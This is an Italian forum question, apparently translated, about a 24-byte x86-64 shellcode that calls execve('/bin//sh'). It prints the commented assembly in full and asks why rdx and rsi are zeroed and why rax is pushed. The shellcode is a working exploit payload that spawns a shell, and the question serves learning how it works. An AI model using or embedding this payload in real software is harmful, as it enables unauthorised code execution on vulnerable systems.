È disponibile un exploit che utilizza execve()
syscall per generare una shell in soli 24 byte. So che questo exploit richiede uno stack eseguibile, ma non sono interessato a ciò che l'exploit effettivamente realizza.
La maggior parte delle istruzioni sull'uso sono abbastanza chiare. Ho aggiunto alcuni commenti.
##########
# Source #
##########
section .text
global _start
_start:
push rax // Prolog
xor rdx, rdx // set rdx to 0x0
xor rsi, rsi // set rsi to 0x0
mov rbx,'/bin//sh' // put "/bin//sh" in register rbx */
push rbx // push register rbx content onto stack
push rsp // push current rsp (stack pointer address) to stack
pop rdi // pop latest stack element's content into rdi by pointer rdi:=[rsp] -> "/bin//sh"
mov al, 59 // prepare syscall execution: 59 refers to execve syscall*/
syscall // execute execve syscall: argument is in register rdi = "/bin//sh"
// execve("/bin//sh") executes, if successful shell spawned
Ciò che non mi è chiaro è lo scopo dell'istruzione xor rdx, rdx
e xor rsi, rsi
. So che questo imposta il contenuto del registro su 0x0
.
Ma perché è necessario impostare rdx
e rsi
su 0x0
in primo luogo?
Inoltre, perché è necessario risparmiare rax
sullo stack con l'istruzione push rax
?